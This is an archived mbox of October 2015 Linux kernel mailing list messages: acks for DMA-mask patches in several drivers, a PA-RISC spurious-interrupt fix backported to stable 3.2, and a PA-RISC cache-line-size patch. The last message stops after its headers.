Newsgroups: gmane.linux.kernel,gmane.comp.video.dri.devel,gmane.linux.drivers.video-input-infrastructure,gmane.linux.network,gmane.linux.ports.parisc,gmane.linux.serial,gmane.linux.usb.general
Subject: Re: [PATCH 11/15] sfc: don't call dma_supported
Date: Mon, 5 Oct 2015 16:08:22 +0100
Organization: Solarflare
Lines: 7
Approved: news@gmane.org
Message-ID: <56129266.8070600@solarflare.com>
References: <1443885579-7094-1-git-send-email-hch@lst.de>
 <1443885579-7094-12-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="windows-1252"; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1444058096 14297 80.91.229.3 (5 Oct 2015 15:14:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 5 Oct 2015 15:14:56 +0000 (UTC)
Cc: <linux-net-drivers@solarflare.com>,
	<dri-devel@lists.freedesktop.org>, <linux-media@vger.kernel.org>,
	<netdev@vger.kernel.org>, <linux-parisc@vger.kernel.org>,
	<linux-serial@vger.kernel.org>, <linux-usb@vger.kernel.org>,
	<linux-kernel@vger.kernel.org>
To: Christoph Hellwig <hch@lst.de>,
	Andrew Morton <akpm@linux-foundation.org>,
	Don Fry <pcnet32@frontier.com>,
	Oliver Neukum <oneukum@suse.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Oct 05 17:14:49 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1Zj7TU-0001pC-Dv
	for glk-linux-kernel-3@plane.gmane.org; Mon, 05 Oct 2015 17:14:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752770AbbJEPOj (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Mon, 5 Oct 2015 11:14:39 -0400
Original-Received: from nbfkord-smmo02.seg.att.com ([209.65.160.78]:55205 "EHLO
	nbfkord-smmo02.seg.att.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751540AbbJEPOh (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Mon, 5 Oct 2015 11:14:37 -0400
X-Greylist: delayed 358 seconds by postgrey-1.27 at vger.kernel.org; Mon, 05 Oct 2015 11:14:37 EDT
Original-Received: from unknown [12.187.104.26] (EHLO nbfkord-smmo02.seg.att.com)
	by nbfkord-smmo02.seg.att.com(mxl_mta-7.2.4-5)
	with ESMTP id dd392165.2b1da1661940.6051163.00-2472.14255728.nbfkord-smmo02.seg.att.com (envelope-from <bkenward@solarflare.com>);
	Mon, 05 Oct 2015 15:14:37 +0000 (UTC)
X-MXL-Hash: 561293dd22f9a6d4-e09c0072c7c18bd19a6a062a282f6c67436a658a
Original-Received: from unknown [12.187.104.26]
	by nbfkord-smmo02.seg.att.com(mxl_mta-7.2.4-5)
	with SMTP id 77292165.0.6050019.00-2224.14252553.nbfkord-smmo02.seg.att.com (envelope-from <bkenward@solarflare.com>);
	Mon, 05 Oct 2015 15:08:40 +0000 (UTC)
X-MXL-Hash: 5612927837222cfe-a7c9943ad1d352e14215c76985a2f85480ab2cb1
Original-Received: from hgk-desktop.uk.level5networks.com (10.17.20.82) by
 ocex03.SolarFlarecom.com (10.20.40.36) with Microsoft SMTP Server (TLS) id
 15.0.1044.25; Mon, 5 Oct 2015 08:07:24 -0700
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.2.0
In-Reply-To: <1443885579-7094-12-git-send-email-hch@lst.de>
X-Originating-IP: [10.17.20.82]
X-ClientProxiedBy: ocex03.SolarFlarecom.com (10.20.40.36) To
 ocex03.SolarFlarecom.com (10.20.40.36)
X-AnalysisOut: [v=2.0 cv=XuBNzy59 c=1 sm=1 a=8BlWFWvVlq5taO8ncb8nKg==:17 a]
X-AnalysisOut: [=zRKbQ67AAAAA:8 a=OjXlt12Agc0A:10 a=5lJygRwiOn0A:10 a=Oznk]
X-AnalysisOut: [Bo1lwyZD5kqwpOsA:9 a=pILNOxqGKmIA:10 a=S_V9HyeAIiwA:10 a=4]
X-AnalysisOut: [qATwce9U8UA:10 a=UxLD5KG5Eu0A:10]
X-Spam: [F=0.2094732835; CM=0.500; S=0.209(2015072901)]
X-MAIL-FROM: <bkenward@solarflare.com>
X-SOURCE-IP: [12.187.104.26]
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2054034 gmane.comp.video.dri.devel:138095 gmane.linux.drivers.video-input-infrastructure:95673 gmane.linux.network:380957 gmane.linux.ports.parisc:26073 gmane.linux.serial:20121 gmane.linux.usb.general:131831
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2054034>

On 03/10/15 16:19, Christoph Hellwig wrote:
> dma_set_mask already checks for a supported DMA mask before updating it,
> the call to dma_supported is redundant.
>
> Signed-off-by: Christoph Hellwig <hch@lst.de>

Acked-by: Bert Kenward <bkenward@solarflare.com>

From - Thu Nov 08 21:37:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Don Fry <pcnet32@frontier.com>
Newsgroups: gmane.linux.drivers.video-input-infrastructure,gmane.comp.video.dri.devel,gmane.linux.network,gmane.linux.ports.parisc,gmane.linux.serial,gmane.linux.usb.general,gmane.linux.kernel
Subject: Re: [PATCH 01/15] pcnet32: use pci_set_dma_mask insted of
 pci_dma_supported
Date: Mon, 05 Oct 2015 20:57:54 -0700
Lines: 27
Approved: news@gmane.org
Message-ID: <1444103874.5667.7.camel@Lunix2.home>
References: <1443885579-7094-1-git-send-email-hch@lst.de>
	 <1443885579-7094-2-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1444104365 32362 80.91.229.3 (6 Oct 2015 04:06:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 6 Oct 2015 04:06:05 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	Oliver Neukum <oneukum@suse.com>,
	linux-net-drivers@solarflare.com, dri-devel@lists.freedesktop.org,
	linux-media@vger.kernel.org, netdev@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-serial@vger.kernel.org,
	linux-usb@vger.kernel.org, linux-kernel@vger.kernel.org
To: Christoph Hellwig <hch@lst.de>
Original-X-From: linux-media-owner@vger.kernel.org Tue Oct 06 06:05:54 2015
Return-path: <linux-media-owner@vger.kernel.org>
Envelope-to: gldv-linux-media@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-media-owner@vger.kernel.org>)
	id 1ZjJVf-00031k-MA
	for gldv-linux-media@plane.gmane.org; Tue, 06 Oct 2015 06:05:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751275AbbJFEFu (ORCPT <rfc822;gldv-linux-media@m.gmane.org>);
	Tue, 6 Oct 2015 00:05:50 -0400
Original-Received: from filter02.dlls.pa.frontiernet.net ([199.224.80.229]:54142 "EHLO
	filter02.dlls.pa.frontiernet.net" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750934AbbJFEFs (ORCPT
	<rfc822;linux-media@vger.kernel.org>);
	Tue, 6 Oct 2015 00:05:48 -0400
X-Greylist: delayed 455 seconds by postgrey-1.27 at vger.kernel.org; Tue, 06 Oct 2015 00:05:47 EDT
Original-Received: from localhost (localhost [127.0.0.1])
	by filter02.dlls.pa.frontiernet.net (Postfix) with ESMTP id 1542E231A6F;
	Tue,  6 Oct 2015 03:58:11 +0000 (UTC)
Original-Received: from relay04.dlls.pa.frontiernet.net ([199.224.80.247])
	by localhost (filter02.dlls.pa.frontiernet.net [199.224.80.229]) (amavisd-new, port 10024)
	with LMTP id IeNgJQK3btXe; Tue,  6 Oct 2015 03:57:59 +0000 (UTC)
X-Originating-IP: [50.43.35.110]
X-Previous-IP: 50.43.35.110
Original-Received: from [192.168.1.6] (static-50-43-35-110.bvtn.or.frontiernet.net [50.43.35.110])
	by relay04.dlls.pa.frontiernet.net (Postfix) with ESMTPA id 54DC02F809B;
	Tue,  6 Oct 2015 03:57:54 +0000 (UTC)
In-Reply-To: <1443885579-7094-2-git-send-email-hch@lst.de>
X-Mailer: Evolution 3.10.4 (3.10.4-4.fc20) 
Original-Sender: linux-media-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-media.vger.kernel.org>
X-Mailing-List: linux-media@vger.kernel.org
Xref: news.gmane.org gmane.linux.drivers.video-input-infrastructure:95686 gmane.comp.video.dri.devel:138142 gmane.linux.network:381110 gmane.linux.ports.parisc:26074 gmane.linux.serial:20126 gmane.linux.usb.general:131877 gmane.linux.kernel:2054536
Archived-At: <http://permalink.gmane.org/gmane.linux.drivers.video-input-infrastructure/95686>

On Sat, 2015-10-03 at 17:19 +0200, Christoph Hellwig wrote:
> This ensures the dma mask that is supported by the driver is recorded
> in the device structure.
> 
> Signed-off-by: Christoph Hellwig <hch@lst.de>
> ---
>  drivers/net/ethernet/amd/pcnet32.c | 2 +-
>  1 file changed, 1 insertion(+), 1 deletion(-)
> 

Acked-by: Don Fry <pcnet32@frontier.com>

> diff --git a/drivers/net/ethernet/amd/pcnet32.c b/drivers/net/ethernet/amd/pcnet32.c
> index bc8b04f..e2afabf 100644
> --- a/drivers/net/ethernet/amd/pcnet32.c
> +++ b/drivers/net/ethernet/amd/pcnet32.c
> @@ -1500,7 +1500,7 @@ pcnet32_probe_pci(struct pci_dev *pdev, const struct pci_device_id *ent)
>  		return -ENODEV;
>  	}
>  
> -	if (!pci_dma_supported(pdev, PCNET32_DMA_MASK)) {
> +	if (!pci_set_dma_mask(pdev, PCNET32_DMA_MASK)) {
>  		if (pcnet32_debug & NETIF_MSG_PROBE)
>  			pr_err("architecture does not support 32bit PCI busmaster DMA\n");
>  		return -ENODEV;



From - Thu Nov 08 21:37:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Abylay Ospan <aospan@netup.ru>
Newsgroups: gmane.linux.kernel,gmane.comp.video.dri.devel,gmane.linux.drivers.video-input-infrastructure,gmane.linux.network,gmane.linux.ports.parisc,gmane.linux.serial,gmane.linux.usb.general
Subject: Re: [PATCH 08/15] netup_unidvb: use pci_set_dma_mask insted of pci_dma_supported
Date: Wed, 7 Oct 2015 11:03:13 +0300
Lines: 42
Approved: news@gmane.org
Message-ID: <CAK3bHNXJp70C3DC8OPsKHmiTeLu-J70VKSfKwDgUd5F=uorEWw@mail.gmail.com>
References: <1443885579-7094-1-git-send-email-hch@lst.de> <1443885579-7094-9-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1444205044 28294 80.91.229.3 (7 Oct 2015 08:04:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 7 Oct 2015 08:04:04 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	Don Fry <pcnet32@frontier.com>,
	Oliver Neukum <oneukum@suse.com>,
	linux-net-drivers@solarflare.com, dri-devel@lists.freedesktop.org,
	linux-media <linux-media@vger.kernel.org>,
	netdev@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-serial@vger.kernel.org, linux-usb@vger.kernel.org,
	linux-kernel@vger.kernel.org
To: Christoph Hellwig <hch@lst.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Oct 07 10:03:51 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1ZjjhW-0001oq-Qp
	for glk-linux-kernel-3@plane.gmane.org; Wed, 07 Oct 2015 10:03:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752020AbbJGIDk (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 7 Oct 2015 04:03:40 -0400
Original-Received: from www.netup.ru ([77.72.80.15]:45000 "EHLO imap.netup.ru"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751101AbbJGIDg (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Wed, 7 Oct 2015 04:03:36 -0400
Original-Received: from mail-lb0-f169.google.com (mail-lb0-f169.google.com [209.85.217.169])
	by imap.netup.ru (Postfix) with ESMTPA id 155CE691BD7;
	Wed,  7 Oct 2015 11:03:33 +0300 (MSK)
X-DKIM: OpenDKIM Filter v2.6.8 imap.netup.ru 155CE691BD7
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=netup.ru; s=imap;
	t=1444205013; bh=H/W5+TASY8l5OJCtrlZQQGlS+YCFACm268CXWvbFyVU=;
	h=In-Reply-To:References:From:Date:Subject:To:Cc;
	b=A8+N4Rmwrybdw9pbIgrrAJLTzFS7jaUeKzAtFjvmWE609ZyOsE7G9gPw9Ht+C0vlg
	 yHn4TofflhkaAb0S68rTFZkW09MsI4e2SNQVv90mhzJgYVvndxMdADzYghge/YHAgm
	 1Nos7wH7c7zhiYCtZNk8rDWyscbDz7Cj3fbqytbE=
Original-Received: by lbwr8 with SMTP id r8so5113208lbw.2;
        Wed, 07 Oct 2015 01:03:32 -0700 (PDT)
X-Received: by 10.25.19.193 with SMTP id 62mr11244210lft.68.1444205012763;
 Wed, 07 Oct 2015 01:03:32 -0700 (PDT)
Original-Received: by 10.112.122.50 with HTTP; Wed, 7 Oct 2015 01:03:13 -0700 (PDT)
In-Reply-To: <1443885579-7094-9-git-send-email-hch@lst.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2055633 gmane.comp.video.dri.devel:138247 gmane.linux.drivers.video-input-infrastructure:95707 gmane.linux.network:381360 gmane.linux.ports.parisc:26075 gmane.linux.serial:20151 gmane.linux.usb.general:131916
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2055633>

Hello,

Acked-by: Abylay Ospan <aospan@netup.ru>

thanks !

2015-10-03 18:19 GMT+03:00 Christoph Hellwig <hch@lst.de>:
> This ensures the dma mask that is supported by the driver is recorded
> in the device structure.
>
> Signed-off-by: Christoph Hellwig <hch@lst.de>
> ---
>  drivers/media/pci/netup_unidvb/netup_unidvb_core.c | 2 +-
>  1 file changed, 1 insertion(+), 1 deletion(-)
>
> diff --git a/drivers/media/pci/netup_unidvb/netup_unidvb_core.c b/drivers/media/pci/netup_unidvb/netup_unidvb_core.c
> index 6d8bf627..511144f 100644
> --- a/drivers/media/pci/netup_unidvb/netup_unidvb_core.c
> +++ b/drivers/media/pci/netup_unidvb/netup_unidvb_core.c
> @@ -809,7 +809,7 @@ static int netup_unidvb_initdev(struct pci_dev *pci_dev,
>                 "%s(): board vendor 0x%x, revision 0x%x\n",
>                 __func__, board_vendor, board_revision);
>         pci_set_master(pci_dev);
> -       if (!pci_dma_supported(pci_dev, 0xffffffff)) {
> +       if (!pci_set_dma_mask(pci_dev, 0xffffffff)) {
>                 dev_err(&pci_dev->dev,
>                         "%s(): 32bit PCI DMA is not supported\n", __func__);
>                 goto pci_detect_err;
> --
> 1.9.1
>
> --
> To unsubscribe from this list: send the line "unsubscribe linux-media" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html



-- 
Abylay Ospan,
NetUP Inc.
http://www.netup.tv

From - Thu Nov 08 21:37:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ben Hutchings <ben@decadent.org.uk>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.stable
Subject: [PATCH 3.2 105/107] parisc: Filter out spurious interrupts in
 PA-RISC irq handler
Date: Fri, 09 Oct 2015 01:12:28 +0100
Lines: 84
Approved: news@gmane.org
Message-ID: <lsq.1444349548.885190491@decadent.org.uk>
References: <lsq.1444349547.316291576@decadent.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1444349896 18343 80.91.229.3 (9 Oct 2015 00:18:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 9 Oct 2015 00:18:16 +0000 (UTC)
Cc: akpm@linux-foundation.org, "Helge Deller" <deller@gmx.de>,
	linux-parisc@vger.kernel.org
To: linux-kernel@vger.kernel.org, stable@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 09 02:18:08 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZkLNt-0004FE-Pk
	for glpp-linux-parisc@plane.gmane.org; Fri, 09 Oct 2015 02:18:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759058AbbJIASD (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 8 Oct 2015 20:18:03 -0400
Original-Received: from shadbolt.e.decadent.org.uk ([88.96.1.126]:35254 "EHLO
	shadbolt.e.decadent.org.uk" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1758781AbbJIAR3 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 8 Oct 2015 20:17:29 -0400
Original-Received: from deadeye.wl.decadent.org.uk ([192.168.4.247] helo=deadeye)
	by shadbolt.decadent.org.uk with esmtps (TLS1.2:ECDHE_RSA_AES_128_GCM_SHA256:128)
	(Exim 4.84)
	(envelope-from <ben@decadent.org.uk>)
	id 1ZkLNG-0004l2-9X; Fri, 09 Oct 2015 01:17:26 +0100
Original-Received: from ben by deadeye with local (Exim 4.86)
	(envelope-from <ben@decadent.org.uk>)
	id 1ZkLND-0007Fs-7z; Fri, 09 Oct 2015 01:17:23 +0100
Content-Disposition: inline
X-Mailer: LinuxStableQueue (scripts by bwh)
In-Reply-To: <lsq.1444349547.316291576@decadent.org.uk>
X-SA-Exim-Connect-IP: 192.168.4.247
X-SA-Exim-Mail-From: ben@decadent.org.uk
X-SA-Exim-Scanned: No (on shadbolt.decadent.org.uk); SAEximRunCond expanded to false
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26076 gmane.linux.kernel:2057316 gmane.linux.kernel.stable:151370
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26076>

3.2.72-rc1 review patch.  If anyone has any objections, please let me know.

------------------

From: Helge Deller <deller@gmx.de>

commit b1b4e435e4ef7de77f07bf2a42c8380b960c2d44 upstream.

When detecting a serial port on newer PA-RISC machines (with iosapic) we have a
long way to go to find the right IRQ line, registering it, then registering the
serial port and the irq handler for the serial port. During this phase spurious
interrupts for the serial port may happen which then crashes the kernel because
the action handler might not have been set up yet.

So, basically it's a race condition between the serial port hardware and the
CPU which sets up the necessary fields in the irq sructs. The main reason for
this race is, that we unmask the serial port irqs too early without having set
up everything properly before (which isn't easily possible because we need the
IRQ number to register the serial ports).

This patch is a work-around for this problem. It adds checks to the CPU irq
handler to verify if the IRQ action field has been initialized already. If not,
we just skip this interrupt (which isn't critical for a serial port at bootup).
The real fix would probably involve rewriting all PA-RISC specific IRQ code
(for CPU, IOSAPIC, GSC and EISA) to use IRQ domains with proper parenting of
the irq chips and proper irq enabling along this line.

This bug has been in the PA-RISC port since the beginning, but the crashes
happened very rarely with currently used hardware.  But on the latest machine
which I bought (a C8000 workstation), which uses the fastest CPUs (4 x PA8900,
1GHz) and which has the largest possible L1 cache size (64MB each), the kernel
crashed at every boot because of this race. So, without this patch the machine
would currently be unuseable.

For the record, here is the flow logic:
1. serial_init_chip() in 8250_gsc.c calls iosapic_serial_irq().
2. iosapic_serial_irq() calls txn_alloc_irq() to find the irq.
3. iosapic_serial_irq() calls cpu_claim_irq() to register the CPU irq
4. cpu_claim_irq() unmasks the CPU irq (which it shouldn't!)
5. serial_init_chip() then registers the 8250 port.
Problems:
- In step 4 the CPU irq shouldn't have been registered yet, but after step 5
- If serial irq happens between 4 and 5 have finished, the kernel will crash

Cc: linux-parisc@vger.kernel.org
Signed-off-by: Helge Deller <deller@gmx.de>
Signed-off-by: Ben Hutchings <ben@decadent.org.uk>
---

 arch/parisc/kernel/irq.c |    8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

--- a/arch/parisc/kernel/irq.c
+++ b/arch/parisc/kernel/irq.c
@@ -336,8 +336,8 @@ void do_cpu_irq_mask(struct pt_regs *reg
 	struct pt_regs *old_regs;
 	unsigned long eirr_val;
 	int irq, cpu = smp_processor_id();
-#ifdef CONFIG_SMP
 	struct irq_desc *desc;
+#ifdef CONFIG_SMP
 	cpumask_t dest;
 #endif
 
@@ -350,8 +350,12 @@ void do_cpu_irq_mask(struct pt_regs *reg
 		goto set_out;
 	irq = eirr_to_irq(eirr_val);
 
-#ifdef CONFIG_SMP
+	/* Filter out spurious interrupts, mostly from serial port at bootup */
 	desc = irq_to_desc(irq);
+	if (unlikely(!desc->action))
+		goto set_out;
+
+#ifdef CONFIG_SMP
 	cpumask_copy(&dest, desc->irq_data.affinity);
 	if (irqd_is_per_cpu(&desc->irq_data) &&
 	    !cpu_isset(smp_processor_id(), dest)) {

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH v3] parisc: Change L1_CACHE_BYTES to 16
Date: Wed, 14 Oct 2015 20:32:11 -0400
Lines: 75
Approved: news@gmane.org
Message-ID: <B8E85737-5ECD-4CBE-8730-886B098C5FA4@bell.net>
References: <42430464-867C-4E0B-8E95-C6CDB6D8A0B2@bell.net> <32A3BF6F-B243-4AD4-9AE9-A5F9DAE0270A@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: multipart/mixed; boundary=Apple-Mail-10-557980494
X-Trace: ger.gmane.org 1444869143 15940 80.91.229.3 (15 Oct 2015 00:32:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 15 Oct 2015 00:32:23 +0000 (UTC)
Cc: linux-parisc List <linux-parisc@vger.kernel.org>,
	Helge Deller <deller@gmx.de>,
	James Bottomley <James.Bottomley@HansenPartnership.com>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 15 02:32:16 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZmWSs-0003vL-U5
	for glpp-linux-parisc@plane.gmane.org; Thu, 15 Oct 2015 02:32:15 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752291AbbJOAcO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 14 Oct 2015 20:32:14 -0400
Original-Received: from simcoe208srvr.owm.bell.net ([184.150.200.208]:30723 "EHLO
	torfep02.bell.net" rhost-flags-OK-FAIL-OK-FAIL) by vger.kernel.org
	with ESMTP id S1751098AbbJOAcO (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 14 Oct 2015 20:32:14 -0400
Original-Received: from bell.net torfep02 184.150.200.158 by torfep02.bell.net
          with ESMTP
          id <20151015003212.JLRK19496.torfep02.bell.net@torspm01.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Wed, 14 Oct 2015 20:32:12 -0400
Original-Received: from [192.168.2.10] (really [76.69.120.10]) by torspm01.bell.net
          with ESMTP
          id <20151015003212.FNRY24849.torspm01.bell.net@[192.168.2.10]>;
          Wed, 14 Oct 2015 20:32:12 -0400
In-Reply-To: <32A3BF6F-B243-4AD4-9AE9-A5F9DAE0270A@bell.net>
X-Mailer: Apple Mail (2.1085)
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020206.561EF40C.00B6,ss=1,re=0.000,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26077
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26077>


--Apple-Mail-10-557980494
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain;
	charset=us-ascii

The latest version changes L1_CACHE_BYTES to 16 bytes and doesn't adjust =
SMP_CACHE_BYTES as
per James suggestion

Tested for 16 days on rp3440.

Signed-off-by: John David Anglin <dave.anglin@bell.net>



--Apple-Mail-10-557980494
Content-Disposition: attachment;
	filename=cache.h.d.1.txt
Content-Type: text/plain;
	name="cache.h.d.1.txt"
Content-Transfer-Encoding: quoted-printable

diff --git a/arch/parisc/include/asm/cache.h =
b/arch/parisc/include/asm/cache.h
index 47f11c7..3d0e17b 100644
--- a/arch/parisc/include/asm/cache.h
+++ b/arch/parisc/include/asm/cache.h
@@ -7,20 +7,12 @@
=20
=20
 /*
- * PA 2.0 processors have 64-byte cachelines; PA 1.1 processors have
- * 32-byte cachelines.  The default configuration is not for SMP =
anyway,
- * so if you're building for SMP, you should select the appropriate
- * processor type.  There is a potential livelock danger when running
- * a machine with this value set too small, but it's more probable =
you'll
- * just ruin performance.
+ * PA 2.0 processors have 64 and 128-byte L2 cachelines; PA 1.1 =
processors
+ * have 32-byte cachelines.  The L1 length appears to be 16 bytes but =
this
+ * is not clearly documented.
  */
-#ifdef CONFIG_PA20
-#define L1_CACHE_BYTES 64
-#define L1_CACHE_SHIFT 6
-#else
-#define L1_CACHE_BYTES 32
-#define L1_CACHE_SHIFT 5
-#endif
+#define L1_CACHE_BYTES 16
+#define L1_CACHE_SHIFT 4
=20
 #ifndef __ASSEMBLY__
=20

--Apple-Mail-10-557980494
Content-Transfer-Encoding: 7bit
Content-Type: text/plain;
	charset=us-ascii



--
John David Anglin	dave.anglin@bell.net

--Apple-Mail-10-557980494--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:37:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:37:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.iommu
Subject: Re: [PATCH] iommu-common: fix return type of iommu_tbl_range_alloc()
Date: Wed, 21 Oct 2015 21:12:54 +0200
Lines: 79
Approved: news@gmane.org
Message-ID: <CAMuHMdXGM0ynDSv-_MdZptXeqJ=sU7=LChmihSCoqanVTUpWXQ@mail.gmail.com>
References: <55FBD36C.5070301@arm.com>
	<1442567375-6963-1-git-send-email-andre.przywara@arm.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1445454788 5800 80.91.229.3 (21 Oct 2015 19:13:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 21 Oct 2015 19:13:08 +0000 (UTC)
Cc: "David S. Miller" <davem@davemloft.net>,
	sparclinux <sparclinux@vger.kernel.org>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	"linux-arm-kernel@lists.infradead.org" 
	<linux-arm-kernel@lists.infradead.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	iommu@lists.linux-foundation.org
To: Andre Przywara <andre.przywara@arm.com>,
	Joerg Roedel <joro@8bytes.org>
